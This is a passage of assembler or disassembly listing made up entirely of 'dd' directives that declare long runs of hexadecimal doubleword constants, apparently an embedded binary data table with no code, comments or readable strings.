		dd 0C4F6BF00h, 0BC06007Dh, 0E991A8ECh, 0A31DF20Eh, 0E6C09B0Fh
		dd 5EB418E2h, 0CC39C2CBh, 5DE0BD92h, 0A200B940h, 0D7022EE8h
		dd 0B06F6C7Dh, 3FA61F5Eh, 58802510h, 97F79D0h, 0F01442Fh
		dd 4B178F0Ch, 0B3D0A24Fh, 0EEE301C0h, 0D3D828A2h, 0DD23742Eh
		dd 0AE90ED01h, 498CBB16h, 0E3417719h, 0FE025CB0h, 2841301Fh
		dd 1DBE6072h, 2D15B89h,	757144D4h, 10A2B304h, 0E030C7E2h
		dd 9BD0630h, 48C50554h,	8D36B513h, 9F30D8B2h, 87DDE931h
		dd 0A100E87Eh, 544B7031h, 2DF6AE2h, 152C57DCh, 1842E77Ch
		dd 303D5066h, 6C8680EFh, 69A7A966h, 0B55D0EB9h,	0CBFE4C60h
		dd 7401A516h, 94CBEDh, 0F522154Ah, 2D09BC24h, 3817C8E3h
		dd 32818091h, 0FD39A8FDh, 184BF793h, 0BF80A49Bh, 0E52281Fh
		dd 7EBB6500h, 0ADD657E2h, 70909D15h, 0FC40B805h, 0C1F50AEh
		dd 97F51639h, 0B89C219Dh, 3F8795Eh, 0BE0E4C94h,	0AB18058h
		dd 0A38701BBh, 1E2D4170h, 0C29E008Ch, 0FA135119h, 2C8C0C2Fh
		dd 0ED192740h, 558BBAFh, 544FF840h, 2549229h, 6FDE869h
		dd 0E448D96Fh, 6E81CFE7h, 400A6430h, 0E80CB91Fh, 48FD085Dh
		dd 0BBD60942h, 0BC98E2E1h, 2B1F512Fh, 4080788Eh, 0BC573E05h
		dd 85AD0043h, 914707C2h, 4603870Bh, 0F412E7AFh,	9811F2E1h
		dd 40A7ED80h, 359569F5h, 12A8038h, 437F40FAh, 0AC1495h
		dd 6E8EEEA3h, 299B7D11h, 2FD2E0Ch, 0E8CFF849h, 7AA200C9h
		dd 0C0A9B45Dh, 5183A68h, 0CF90ABB0h, 4523009Eh,	0F691C637h
		dd 0BB27CA20h, 6938C9F2h, 0BBB81068h, 103C943h,	970D6438h
		dd 0A203D1F8h, 0B8346A2Eh, 7FB38B40h, 70DB0012h, 0CB8965EDh
		dd 7704BCF6h, 52F525C6h, 67F2F8E2h, 17A1E230h, 1226DFF0h
		dd 5074B0F4h, 0CEC3C2Ch, 917C972Dh, 148681C5h, 0A8684DFEh
		dd 9AA3D07h, 0F1B126B9h, 0B548CF02h, 0E03F6E9Ah, 4A3D9CBCh
		dd 4584C28Ah, 78792059h, 5200D318h, 2721BC09h, 7F1E10DCh
		dd 10749A71h, 7FC7DD2Ch, 8C94B44Ch, 9B416Dh, 2F46BCC6h
		dd 4D1E12E3h, 2638B56Bh, 99975E0h, 9233EDF0h, 0D4C8000Bh
		dd 2E091CECh, 67FE7121h, 60DC447Ch, 719920E5h, 0B06109E8h
		dd 0E4F8164Ch, 25AA2704h, 0FC8A359Eh, 49AB210h,	9F224203h
		dd 320434EDh, 83B0FFDEh, 1F8489D4h, 2CE42013h, 9B417A5h
		dd 0D12CC8DDh, 2B8A0500h, 22C62E28h, 0AB130198h, 0FF15DA25h
		dd 0B8C429BAh, 8F30516h, 0DBCF8D6Ch, 3150C578h,	3B6C8E4h
		dd 5B69ABD3h, 0ECC78392h, 1E73AE0h, 298FA530h, 358046E9h
		dd 0BE686DC6h, 4B0B6402h, 7201B86Ah, 0C8AE4B9Ch, 24022720h
		dd 0B06FB9D0h, 78F2EAh,	91F20AC7h, 0ADCB325Fh, 20C87C98h
		dd 0DCCD8093h, 0F672FAF3h, 208BC103h, 0FBB87F05h, 0EE597538h
		dd 2C3297D9h, 0CC5B8471h, 0D2EC0260h, 9EA55D16h, 0EB050A7h
		dd 620007DBh, 0F3CE3633h, 48D1FDF0h, 518E8CB6h,	0BBDC38F6h
		dd 295C88h, 838FD8D3h, 175207D1h, 0ACF4DF00h, 0BA5E263Fh
		dd 2BFD0547h, 0C8EA3115h, 0E68C96F8h, 368F0B04h, 941626CAh
		dd 4A77300h, 59BC2A5Dh,	0F170042Dh, 0C1D14031h,	8BB10Ch
		dd 0B1817F10h, 0CA19D004h, 0F27486h, 844CBBE9h,	0AE4A5C9Bh
		dd 0BB21422h, 0FD442CD5h, 855E4460h, 0FF5C58BEh, 4800B018h
		dd 873098FAh, 4ABA098Ah, 66DCC83Bh, 5A00C3B0h, 534592FCh
		dd 9D29630h, 8D673854h,	0E279DC51h, 7F2CD918h, 0FE586C3Ch
		dd 1CD5007Dh, 2160FBE9h, 0C2EAFDECh, 6F11A4B1h,	0B3DC8380h
		dd 0E8918E4Ah, 0DC8682C0h, 12F41235h, 10A004DDh, 0FDB943B1h
		dd 0B558A65Bh, 31531090h, 3899F600h, 4AE9ED3Bh,	0FC819DD9h
		dd 2FAAA35Eh, 442A3824h, 2B001C23h, 0E67829D0h,	1A42137Eh
		dd 9778B507h, 0F4087A39h, 13D82A0h, 1468044Ch, 65582612h
		dd 0D448208h, 79180C75h, 4988F3EEh, 892184B2h, 0A58D0827h
		dd 0E8DFD713h, 48102D3Ch, 4B30064Eh, 4917717h, 0B90AEF8Bh
		dd 51B0AD03h, 5129FE44h, 8D003F14h, 0CACEC80Fh,	0E600867Eh
		dd 53A7D60Ch, 0BE53542h, 84990D93h, 0A067C4CDh,	9A7893F0h
		dd 6894951Ch, 80B0FC3Eh, 605842D3h, 0EEC2E3E8h,	5FA1004Ch
		dd 8E35F6ADh, 9802CE2Bh, 0AE3DACA5h, 2DA8C415h,	0C4C803BBh
		dd 3858B65Bh, 18A096B0h, 0AB2801F6h, 6FBD597h, 0A2143396h
		dd 0A1BC3074h, 22655700h, 32D05ADEh, 87FCA4h, 93B77A86h
		dd 8A1CBEA9h, 96BF5506h, 2310AA0Fh, 863E606Ch, 0B18B7954h
		dd 55DB0D31h, 6F41B27Bh, 4FE9403Ch, 69A00B30h, 0A2596C53h
		dd 0C5F88282h, 0D85A1DADh, 0C858FFE8h, 0D67EB250h, 67465E44h
		dd 24837201h, 0FDEDF3AEh
		dd 0C02C6C4Dh, 7F6DE1CFh, 99DF30h, 9038E83h, 81601F9Fh
		dd 26AE4E29h, 457F3EB7h, 0B89E3044h, 34C0259Fh,	1D80B437h
		dd 0C6E404EEh, 0E6B031EFh, 0E8D0E060h, 6F6900E2h, 0F026B0AEh
		dd 9260F7E1h, 0F6FEF879h, 0E756168Eh, 0A9FF80Dh, 0A030D058h
		dd 1D7E8140h, 2CDE00F4h, 7B3FE0E9h, 0D400A18Ah,	0A7D1EFCCh
		dd 782EADD6h, 477C0010h, 1557E153h, 509EEAD8h, 18824676h
		dd 0CC597EC1h, 34F51CF6h, 2041537Fh, 0AACA4804h, 8707D701h
		dd 1C13E2E1h, 0D68DDC4h, 920A4191h, 0B330CE78h,	36831604h
		dd 5F3438AAh, 7904AB00h, 0DD5D9FD9h, 39FB02D7h,	85EDB88Ah
		dd 7A49AE22h, 7F7E1494h, 2080F443h, 0AB510AE0h,	9BF59104h
		dd 8CC70BDFh, 2C882DF5h, 40209FE9h, 5CE3F83h, 65F1B45Eh
		dd 9CF4CF0h, 8A5B8063h,	5C920C04h, 0F0E03ADEh, 30CF39D6h
		dd 0EA3024C9h, 0EDBB9DA0h, 9569E044h, 0BE117417h, 5D1C5A80h
		dd 0B4011654h, 2C0F1507h, 0E055C42Dh, 77888C8Eh, 0E017FFC0h
		dd 0AAFE0B27h, 286401EFh, 618A1107h, 0C40DCFFh,	1B789C92h
		dd 0F1B21EF7h, 19CCBACh, 3FDFA82Dh, 0CDF0C15Eh,	87B50447h
		dd 0BD31E979h, 53200F34h, 0F725E5B0h, 9CAE2008h, 8A301304h
		dd 0CCE86498h, 23182E35h, 58300074h, 987C3753h,	9CF80316h
		dd 679CE4h, 73599327h, 875BC97Ah, 0E143DA09h, 1D6C05D7h
		dd 2BBA488h, 1668F30Fh,	54D1C875h, 8C1878D9h, 2CC70E00h
		dd 6A09DED4h, 5C180091h, 3D039231h, 53281C69h, 0F64490ADh
		dd 0CE2F2D7Fh, 502524C4h, 9F4C20EBh, 15B43Eh, 0D3CD5434h
		dd 78C483DCh, 9E88CE03h, 98664CB8h, 381E1CE2h, 0B1263F57h
		dd 794674A8h, 660FD200h, 0F847A77Ah, 3F819FF3h,	6B651E80h
		dd 4B64BC61h, 0E7444031h, 42E94DB0h, 34D64800h,	314C0701h
		dd 1921CB9Ah, 167FCCDAh, 0B00086EAh, 99FEA1FCh,	95B54AFh
		dd 44BA74F3h, 0EF7A004h, 6B9630CAh, 0A102729Ch,	4837ADE6h
		dd 0F00C63C7h, 0F4E1EBD4h, 0CCAF9F49h, 6CABA78Fh, 3CFC79h
		dd 0A1552FECh, 5A038Fh,	609909B6h, 1C2D449Fh, 7E044C92h
		dd 0CD147ACCh, 0ECC4ACC7h, 80C8CC8Fh, 0ACEF86C0h, 901D72E7h
		dd 44974500h, 5950C80Ch, 20CB272Eh, 13824674h, 78201A1Ch
		dd 3FFB12h, 199FA633h, 0A2AD7CC0h, 0DC0342ECh, 395B032Fh
		dd 0EF88A9CDh, 0C471808Dh, 0F2D87238h, 0ECC03073h, 0A8AC0902h
		dd 0DCF90EEAh, 160B05E8h, 6EDB003Eh, 0FE252BE1h, 0F8111B24h
		dd 1774676h, 479FB6F2h,	5C8066C3h, 49E1E26Ah, 1264A315h
		dd 0ECFCD658h, 0B8A0935Eh, 2A98EDBDh, 3558087Fh, 0BB980BC8h
		dd 4FA0D1F2h, 0C81F8640h, 9F8D72Fh, 0C3F653EEh,	4ABD0600h
		dd 2BB76E61h, 0E2F8A0DDh, 8BB45F26h, 0C0C188B4h, 6BF82306h
		dd 18404Ch, 29B7F503h, 6918BFh,	3F2FCC7Fh, 49B0B2B1h, 240994A4h
		dd 0DC9ED026h, 85F00917h, 0BB585853h, 0DBBF0FE5h, 8C169FB3h
		dd 3B083480h, 704310DDh, 3B026D8Bh, 59246A5Ch, 850C79E3h
		dd 0F80849CCh, 65113D58h, 0FCA87E19h, 6677E880h, 1FE09D87h
		dd 8C054C26h, 79274009h, 18CD79E0h, 288000A3h, 6007BB3Ch
		dd 6A0C2B56h, 71C4F6B8h, 28E7198h, 0D81AE2D6h, 3080487Fh
		dd 0D1E96C68h, 716F29C0h, 37DFCF2h, 0E3B72D35h,	50C7F390h
		dd 443ED349h, 0AF149D0Fh, 0D036C2E2h, 5EAC5C5Eh, 0A100C146h
		dd 47F885DBh, 6660FA09h, 28B51750h, 0E1C43113h,	2B808DF0h
		dd 264CBC20h, 4AE270F6h, 0F74A2B2h, 0E0A92711h,	8338445Dh
		dd 0F6CD0F6Ah, 1FEBC735h, 0BFE9C048h, 0B12731C0h, 2825B5h
		dd 0C43E108h, 0B35C5FEEh, 770B3379h, 139531A7h,	0E8528588h
		dd 944688D9h, 914AF859h, 0F5E981B8h, 70404D33h,	3A72EDB8h
		dd 0D983B309h, 0BC596Ch, 7AEF4484h, 0CB7E2C79h,	0FC7D8B1Ch
		dd 26E8D401h, 47CD10F4h, 2D4E6464h, 0AF012E3h, 465EDCBCh
		dd 7CEB71C4h, 0DA3D80B4h, 1C28306Dh, 0FAE0E40Fh, 0F1FA8A89h
		dd 9F05AFFEh, 4056130Dh, 0DC045CB6h, 0E211AE4Eh, 44FA3E04h
		dd 0CB6A5E47h, 0C074C8C4h, 72F0A15Fh, 0DC559C05h, 0A8252D41h
		dd 883C0C80h, 801D829Fh, 0F680C011h, 0D0D2015Dh, 0C8168D2Ch
		dd 981C9243h, 0F87CF895h, 36BFECEh, 0AD43713h, 44A86CAFh
		dd 0E4A052A6h, 48B0B1AEh, 20309E28h, 6F447F3Fh,	0AC207669h
		dd 48EF659Ah, 0CC2250B6h, 1F7BCF00h, 0B8834224h, 69680A07h
		dd 409C96FAh, 876409CAh, 0BB1A4402h, 50EF9C03h,	40205BD8h
		dd 23BD508Ch, 58016251h, 3CF524Ah, 2980E33Ch, 0DE8236A2h
		dd 2B4B27C4h, 97B7CC0h,	30B27313h, 3229E744h, 0C37403B4h
		dd 2C14F359h, 0FB81E0E4h, 0D71347D6h, 40DCF6F2h, 0BABC4B28h
		dd 29963600h, 7270859Ch, 0CB370E64h, 242F5CB2h,	0AE51F8C2h
		dd 75249D5Dh, 0E5261C82h, 0C06462A6h, 419D320h,	0BE15307Eh
		dd 3930C00Dh, 41956FEDh, 57F205C0h, 0A7424CA2h,	0D70EC100h
		dd 0BB870382h, 5E61C0ACh, 4707619Eh, 46A35820h,	8FADE4E0h
		dd 1BF8B794h, 0F8F9A502h, 0E16DBA28h, 0B470E204h, 4E134FAEh
		dd 0DBE034F8h, 6592B348h, 0C50679FAh, 9EB6251Fh, 27EB5B80h
		dd 0B21DF5E4h, 0BFF508C4h, 0B7CF0090h, 9F3A3214h, 0C0582D5Ah
		dd 28BB37E8h, 2080CF71h, 48914263h, 40614580h, 0F566B90h
		dd 37ABD95Bh, 8E9226E0h, 4F2CED36h, 7F005875h, 0C4F5FE1Eh
		dd 0B9B00CF2h, 31C161EAh, 0DB8EC89Eh, 0E72B407Eh, 0FC083Bh
		dd 78D6C4DDh, 89352912h, 0C5A3A700h, 3403418Fh,	80534A0Dh
		dd 43FBB154h, 489508A0h, 1CE33B05h, 0D842EA16h,	0C087AE63h
		dd 18A85E28h, 99505DEBh, 0F100167Dh, 9EB04172h,	16694DBDh
		dd 222F7FDCh, 0D0D6317Ch, 58FF0F80h, 0EC4265h, 52FC4BE7h
		dd 0CB2A2502h, 0C849AD29h, 437F973Eh, 2E123420h, 0F8C16099h
		dd 261D6111h, 98A90A30h, 69295403h, 0D483D8C8h,	285AADE5h
		dd 15C88h, 1331A41Ch, 2066A18Dh, 0AD46EC01h, 2A55830Ch
		dd 1427DF30h, 0E4FA4BFDh, 0D512D900h, 876E0501h, 8B2E80C0h
		dd 0D869BB84h, 0DA4A5811h, 74402F03h, 9827F67Ah, 22B9F19h
		dd 0B3093044h, 0C8C0253Fh, 39904807h, 0B704550Fh, 0BD54C499h
		dd 0F87D2CF8h, 2CF21F66h, 0FD3C06ADh, 78171889h, 48E2FBB8h
		dd 0A0222D16h, 722C3B38h, 901C7B1Ch, 0ED0605ACh, 0B8FFD3h
		dd 19E3342h, 544EB69h, 645E7112h, 411E3430h, 2ECA3B4Dh
		dd 32190C87h, 97536368h, 0AE4FECE0h, 0F490145Ah, 621BE539h
		dd 0FF505893h, 0D59C4A1h, 2A99E09Dh, 3F1B1000h,	669AA97Ah
		dd 257D000Fh, 0B8406097h, 6C602214h, 5DDF19B0h,	28E800EFh
		dd 330B4366h, 0CD00BB6Dh, 0D202DA65h, 901DA5h, 93B0ABBDh
		dd 0FE3AD816h, 33B5DB00h, 452EBCB3h, 0AAF65Fh, 0D95AE137h
		dd 0A4ED80C4h, 83576200h, 53891A1Ch, 0CF0900E4h, 0C16816BDh
		dd 2707D6C3h, 121E0B91h, 811819CFh, 150FE6C4h, 20A51B79h
		dd 404874B7h, 0F3B6985Bh, 80583A5Ah, 8C001A3Ah,	0C197A76Bh
		dd 10F815E7h, 55D2BA00h, 8D28B113h, 7C0D0D0Bh, 1D38C053h
		dd 9081BA20h, 14421D23h, 0B5831200h, 4DC7C9B1h,	5D7607F8h
		dd 9357B300h, 97683776h, 3D65003Eh, 0FDEEFBCCh,	34A4AD40h
		dd 1AB308C6h, 0F1ED15C0h, 0FAD80CEh, 0B66980A0h, 0B7F7BDh
		dd 0C29CAC15h, 8E3E3343h, 0B8E82050h, 0CF9D09C3h, 381004DFh
		dd 0C05D7FD5h, 0B2C5B788h, 0CE0153E0h, 9CF7B17Bh, 0E4FCA9A8h
		dd 6F263238h, 13108B29h, 8348943h, 7F7044DAh, 6CFD2284h
		dd 9011D042h
		dd 8732197h, 1C906742h,	118B519Fh, 0A011C647h, 8382170h
		dd 9B91981Bh, 60EBBE00h, 539C1887h, 0C9305700h,	3CB1B883h
		dd 6374006Eh, 460F6872h, 86005C3Eh, 0ED042348h,	73F3B2h
		dd 178DE531h, 0A6095699h, 0D28B9B01h, 0C66D0E2Fh, 2D7572ECh
		dd 8250C0F6h, 0A8CFB00h, 35A2E689h, 65ECCAh, 0B29BE4CDh
		dd 8C03E26Fh, 80984B39h, 21FBD2AFh, 382B0E1h, 0B6509EF0h
		dd 60DF88EAh, 0ED61CEDAh, 0D9DF5200h, 59E6C931h, 0BC9D0FC0h
		dd 0D04ED496h, 5A2DE00h, 3D007FD7h, 0EA3AD2FAh,	0A7442h
		dd 713FE6F1h, 909FC987h, 0CE00D6EAh, 5766F215h,	60E9C4h
		dd 0FA297697h, 0C8E7198Dh, 6B396800h, 0EFF4ABEDh, 11A00F79h
		dd 7EC18FB6h, 0C0CE4FA4h, 3000E6AEh, 82D46D60h,	1E3A820h
		dd 0D3B2A9E4h, 0E89F7063h, 0AFF2624Fh, 30222B00h, 2AC3F188h
		dd 0BC3A3ED3h, 0A35D1800h, 0B77F254Eh, 0FB977900h, 0F490AE89h
		dd 0A90B1CE6h, 7C41C082h, 99CAE5FCh, 0D8F5BD00h, 7D9A07A1h
		dd 0A39E0028h, 0FACCD602h, 0A00FBE1h, 3FD8F17Bh, 12883BCFh
		dd 1C23A550h, 0E02DC070h, 7525E8ACh, 0C648D163h, 4746D8E9h
		dd 4118015h, 7C00B5ECh,	42251EB3h, 3F929DC5h, 0E7009EB9h
		dd 680DD7EDh, 90040A58h, 0F142C69Ch, 272A8CD0h,	4A8E00D5h
		dd 0C1C37F71h, 0AC0095B1h, 0C013E52Ch, 179AFBh,	35DB5A22h
		dd 6762B23Eh, 0D5FF7300h, 0D82985E9h, 7B09E807h, 1FC300BDh
		dd 5DF897F3h, 430CD446h, 4851D51Dh, 522706AAh, 1054421Fh
		dd 5CACF300h, 31CC2495h, 0E97803B7h, 3C66AF8Dh,	92D42001h
		dd 0B5447490h, 4013E0h,	36371A8h, 2099B931h, 1F1CD600h
		dd 6ED0A909h, 4DBA0102h, 83AEFB67h, 89ABC05Eh, 0F053552Eh
		dd 8053E00h, 12A66B50h,	0B0C0CC6Ch, 1407DDD1h, 944606F1h
		dd 0D4B97940h, 2898CBh,	0B760FDD1h, 428D818Bh, 0B0FB38h
		dd 0D204A301h, 50DE5Ch,	8B4D4989h, 7E683F24h, 26786100h
		dd 10DC4A42h, 3070000Ch, 21D64BDh, 3F67E797h, 0AA2752ACh
		dd 6FD41250h, 0BA8C1F53h, 91D200DDh, 0C9BF5AD9h, 0FC2F9329h
		dd 75121658h, 31D039Dh,	0C524AAAh, 5BF818A0h, 0FAFF770Eh
		dd 4CC0405Ch, 0B024DD57h, 0FC210127h, 61A95B3Fh, 34A4303Bh
		dd 881FC61Ch, 0E051D84Eh, 5894B44Ah, 0CE80048h,	0C3C861F3h
		dd 46FE57BBh, 90373400h, 0DBFFDD8Dh, 0B8B712B2h, 0D6BE14F8h
		dd 7EDF007Dh, 29389309h, 6100C943h, 1513BB86h, 0F20F20h
		dd 0DB57C67Dh, 0A2A5CF39h, 85CDEF0Eh, 0A0AA00E0h, 37FD96Bh
		dd 9440C7D1h, 0C1983B4Eh, 0EC2849CCh, 7D01CCD0h, 79FDB501h
		dd 6C31E49Dh, 0DD52C8h,	9905688Eh, 0B5BD078Ah, 0E2BCE900h
		dd 0D8CAA5AAh, 2992045Bh, 0C03C589Fh, 0B0BBF48Ah, 70CE4C1Dh
		dd 0CC5254h, 97E71C86h,	40712h,	45641A10h, 70D8E6FBh, 0E3856900h
		dd 0B6B8FC6Fh, 17A7A30h, 0F3D6353Fh, 0DCAC2AF4h, 94A0F83Dh
		dd 9426B044h, 0E6006741h, 0CD076549h, 0E5160017h, 0FABE423Ch
		dd 0B53E1902h, 8F0F0011h, 0EE3FA88Bh, 42D43A9Dh, 0DC9301FDh
		dd 495DC80Bh, 74EF420h,	80672F39h, 0DF3A51D9h, 4B66266h
		dd 5638C295h, 0AD228027h, 4601FE15h, 4D707559h,	40F1BB85h
		dd 45FDC8CFh, 65A63C02h, 9A0CD300h, 8832F3DEh, 2BC3BF00h
		dd 5E6DF04Eh, 8F740023h, 69E0F690h, 36F0C482h, 2D8B5900h
		dd 1D49B22h, 157FA33h, 5477935h, 30585CE0h, 0ED045490h
		dd 0C96D7DDEh, 0D8FD3DC0h, 83430037h, 1A76D3B4h, 260306A5h
		dd 0C86BBC0Ch, 9449B8F3h, 0D9F83F04h, 20711313h, 954EAFA8h
		dd 0B27F8F00h, 5CCE2301h, 9F520365h, 0F7302741h, 636971B8h
		dd 8B61D100h, 3D349839h, 38BF4942h, 0F14E2A00h,	2C970E4Ah
		dd 0B26A4F00h, 99B8F886h, 1FA012Fh, 5B31D79Ch, 515AE87Ch
		dd 11F36700h, 2D4C35D4h, 0ED7F000Ah, 6B16D233h,	0F600BD82h
		dd 0AD7A9CC5h, 3B8B480Ch, 0A900233Ch, 2F12F27Dh, 501E0584h
		dd 599E033Ah, 0CFC4B940h, 0F32C52Dh, 7B529E72h,	1199C25Ch
		dd 69C0276Ch, 491C1E67h, 0DE400E81h, 19F06366h,	3E7E9Eh
		dd 20EED18Eh, 8A34824Bh, 0B1008CB0h, 63B5A15Eh,	67807Eh
		dd 0AAF2FE6Fh, 20B7F378h, 4F003990h, 5F5A937Dh,	0F63ADh
		dd 58EADCCAh, 4A69A76h,	0DDC58700h, 0D5E4B983h,	8B6C3AE8h
		dd 0C80013B8h, 8E864626h, 0CE031B7Bh, 10D0A4F9h, 6D4E38EBh
		dd 70E97A0Ah, 6E2480BCh, 0D091F84Dh, 4AC99600h,	99F9A87Fh
		dd 439D07DAh, 0B0C605CBh, 0EFB20DBCh, 8E69023Ah, 138E575h
		dd 0F618892Bh, 0DAECFCh, 0E3097734h, 8BB4F7E0h,	0F1CA700h
		dd 5E158A74h, 0AB200358h, 5C69DCAFh, 9ABAEBA8h,	31A2E20Bh
		dd 0B72B0289h, 0EFD88226h, 902AC07Ch, 1E0B7EF0h, 7B6052h
		dd 0CEDD6DF7h, 6E00BFB6h, 166A226Bh, 0A0A364E8h, 2CFEC9E6h
		dd 8C14A8h, 79FB1A08h, 82001F91h, 0DBC1A22Ah, 1DE1327Eh
		dd 0C0F3135Ch, 8FC0423Ah, 2700751Fh, 0B887CC28h, 0C1DDABh
		dd 834007C6h, 783B030Dh, 71B9EC01h, 4DBF01B1h, 0C53D12D8h
		dd 80C74AF2h, 0AE049218h, 0D8AA460Eh, 119780D4h, 91C6BFAh
		dd 0E68588D1h, 0D6959883h, 79D4CEE8h, 76C48C07h, 0DB40AEC1h
		dd 919E3Dh, 1CF6E65Dh, 38A98807h, 59F5900h, 31BF0490h
		dd 873500B4h, 39E50A44h, 8F00B258h, 8C36CB33h, 0AE72D4h
		dd 140E9E57h, 8BC52898h, 53DDFA00h, 344B8F29h, 69B7EF1h
		dd 77A6509Dh, 40E1196Fh, 80EE2DD0h, 31FB4800h, 0E2A3D1D0h
		dd 64290005h, 0D75D72F4h, 2E134E41h, 1B0080CFh,	923F1D45h
		dd 0B82651B4h, 0B8BA51ECh, 53D503EBh, 0A324F9F2h, 21C2C78Dh
		dd 0C811EB19h, 5900F809h, 0C29FAD47h, 2CE014h, 0BA7CA533h
		dd 0C5D783CDh, 0BFD8C805h, 0B84293C0h, 644FA5B7h, 731A00D4h
		dd 0D1D58F4Ch, 5490FAD2h, 0F8C97F01h, 0BDEAEDE3h, 213A4C4h
		dd 0B47DCDAAh, 84E83E04h, 1103B032h, 4B9C657Ch,	0BE6EC00Eh
		dd 0D898CDh, 23AE1398h,	8AFC9244h, 77666212h, 865B2480h
		dd 81220048h, 0FBA067Fh, 8F00E09Ah, 192643B4h, 39EBFF0Eh
		dd 80024E1Ah, 58130211h, 0BA3DF0C0h, 0BDDC8D00h, 3B51590Ch
		dd 0B2163199h, 0F4D101A4h, 874CDA43h, 0C4B800BCh, 61B4FB70h
		dd 92FC0013h, 5FA6FBBh,	4C2CCF59h, 0F4004CF9h, 0AF7FEC8Eh
		dd 7EB70191h, 0DF0B9AC5h, 42D6C4D1h, 0CC35E302h, 60E4FE38h
		dd 0ECD23745h, 19890048h, 1D638830h, 280032FDh,	0ABF72A39h
		dd 39C1E740h, 55BEA84Ch, 0BA7A9B80h, 9E1C119Fh,	76F29C19h
		dd 2C754CA1h, 7333F860h, 132CFC61h, 40C871ABh, 0B9237D18h
		dd 8D484C18h, 0FCE80032h, 4B034DECh, 0A93B0046h, 6B37D282h
		dd 9E0042FDh, 0E4D99638h, 61FF5Bh, 0FBBFEFC5h, 9FA4912h
		dd 0D500949Ah, 90F55940h, 3E39863Bh, 0A08007EBh, 5651B213h
		dd 0A805BAE6h, 53AAD49h, 6EF80Bh, 0C9EEF9F2h, 216600C3h
		dd 0D4C255E6h, 0A20CF41Ch, 72B69202h, 0AB1000ACh, 0B1FB7515h
		dd 0DB003E1Bh, 5DA6640Dh, 0B3F67Ah, 73E0F4ACh, 0DD96FBE1h
		dd 4F487003h, 0E0509CF7h, 0F187E49h, 0E767A39Ah, 0B358AFh
		dd 2A6A06E0h, 6C91B31Dh, 0FCA9AB00h, 0D57913h, 67A1C63Ah
		dd 19DC7D65h, 85758800h, 0B4042B50h, 46F8DFh, 9B1EE666h
		dd 8487EE3Bh, 0E0676E26h, 0A44FBF00h, 1DCABE4Ah, 568FFBh
		dd 0C82C2821h, 0D13B0E11h, 0A6E404DFh, 7C904680h, 4B3599C9h
		dd 445F78h, 585169B3h, 8F00E5D8h, 52EBDD9Fh, 30495Bh, 25F5FFA7h
		dd 0EC2168F1h, 16D8D400h, 8DD599B9h, 6CC10057h,	0DC50DED0h
		dd 0BC0021D7h, 0AE2EB172h, 7432002h, 0A2DBF52Ch, 7AF2606Eh
		dd 0AA00BB63h, 77AE53E9h, 282513DFh, 129496ABh,	203894D8h
		dd 0D5241ECh, 4A20E24h,	58294E80h, 1D2491Ch, 0D01F949Bh
		dd 70A96F05h, 0D71E95B5h, 0B3409E9Dh, 0B95BA375h, 0E2271D5Fh
		dd 0B2CF0029h, 0B7E47EDFh, 0B839DB00h, 7DE3C736h, 50140369h
		dd 54DFA876h, 0E08015D1h, 450089D8h, 237F5DC2h,	32D075h
		dd 0A05A8E61h, 0A1DE953Ah, 0CE18780Fh, 22961C8h, 99DC030Eh
		dd 0A1FF4C1Fh, 66944603h, 0C4A2FB20h, 42119840h, 0CB722100h
		dd 3C024FC1h, 0C0BD00F0h, 209245E0h, 0AEA9022h,	4C4B8E00h
		dd 0A53E277Fh, 2E600B8h, 0D7D41B8Ah, 7D006CAFh,	6A475E24h
		dd 7A94627h, 0EB9012D0h, 0D4D44797h, 65B8810Ch,	4D02202h
		dd 71A83F5Ch, 91110090h, 0D69E0E76h, 0EDE0E75Dh, 1C966978h
		dd 1A744000h, 0BBCF1436h, 67C900B0h, 794DAE15h,	6800B7A4h
		dd 349CDFFBh, 1CD0AB9h,	136CEB17h, 0C893557Ah, 1DE47519h
		dd 70D49A00h, 0D38C66EEh, 0CFDE30C1h, 5F67B011h, 0DF56ED00h
		dd 0F192FA5Ch, 659838h,	0BD100EF5h, 0AA1B147Bh,	0F8306000h
		dd 0E11851A2h, 0C11224DCh, 47A640h, 649FC33Dh, 3B1CCA72h
		dd 8D9CBDD9h, 5DF907C1h, 4DF850CDh, 85100060h, 7ACB534Fh
		dd 0B20031D1h, 0EF2CB489h, 0F00514h, 0D644B7CFh, 0BE11F8AEh
		dd 728D9E00h, 69FBEB3Fh, 38BB00F2h, 0C97C81A2h,	62278FAFh
		dd 30E40001h, 7522A41h,	827A851Ah, 0B7187029h, 5F0078DEh
		dd 9201DAEBh, 9AF7489Ah, 84800010h, 55835D68h, 0DD17EEAAh
		dd 0E0009AF3h, 0E1113063h, 1B2047Ah, 83813567h,	0BEBBAA84h
		dd 0C3EED2D0h, 91E0C758h, 0E0302CE4h, 0DB148800h, 7DD8F5C6h
		dd 7C9E00B7h, 45436F60h, 4D047A0Bh, 3BD50A75h, 0D036C5C3h
		dd 0F7DAA3h, 55A0A6E9h,	53093182h, 0E8B7D300h, 4B40C7F8h
		dd 6FAF3D03h, 1300E2BEh, 6BD5830Fh, 3F0392DBh, 0B6A5FF06h
		dd 0BA4AC0EAh, 0BBF03AAh, 0DF717709h, 47E082F0h, 0D61ECB00h
		dd 8F95BC35h, 20860080h, 9E37533Ch, 9B002AD1h, 0C3ADCCF2h
		dd 1EFE8F31h, 1395EA5Ch, 2D0409B4h, 410BB8C8h, 79001A90h
		dd 8DA34831h, 9704DDh, 0D5DFDC21h, 0E0364AADh, 80B0B23Eh
		dd 0E16144A2h, 3D99E14h, 0F498C8A8h, 25E81F0Bh,	76006D0Eh
		dd 0F675EBD7h, 1D36BD89h, 40B04F80h, 550D9971h,	4109CA69h
		dd 0F6D67Eh, 0A708759Ch, 0F09E13D4h, 6B7C001Bh,	617DBE1Eh
		dd 506C4A00h, 5DCCEC94h, 207EBAh, 665B4314h, 5717C9F5h
		dd 0B7E0B303h, 0F03C8537h, 0F9D1BDh, 79B4E9Fh, 0D871A082h
		dd 6600EDF8h, 7057245Dh, 203E056h, 0E98B55DEh, 0D860C8A7h
		dd 0FC14FDF9h, 0EC26E1h, 976604AAh, 0E62F6B1h, 0F4B5ED2Ah
		dd 3FDE9A00h, 0BF0772CAh, 284B0C53h, 780E6C4h, 902FE75Eh
		dd 9AE50034h, 4F2B66D8h, 0C101A223h, 728AD608h,	5FCC44DBh
		dd 0E5BD03A6h, 375E3517h, 92C9CA8h, 0FE019BF8h,	0BE85487Fh
		dd 0FADC4EDFh, 0E0800018h, 0A4432F02h, 671CE881h, 8D8040A7h
		dd 2AE78AFFh, 0E38E0562h, 0B56152h, 0E06C3DF0h,	6C997FFCh
		dd 38014800h, 0C1EDBD33h, 8F9EF1B2h, 6DBE0C6h, 83A2B002h
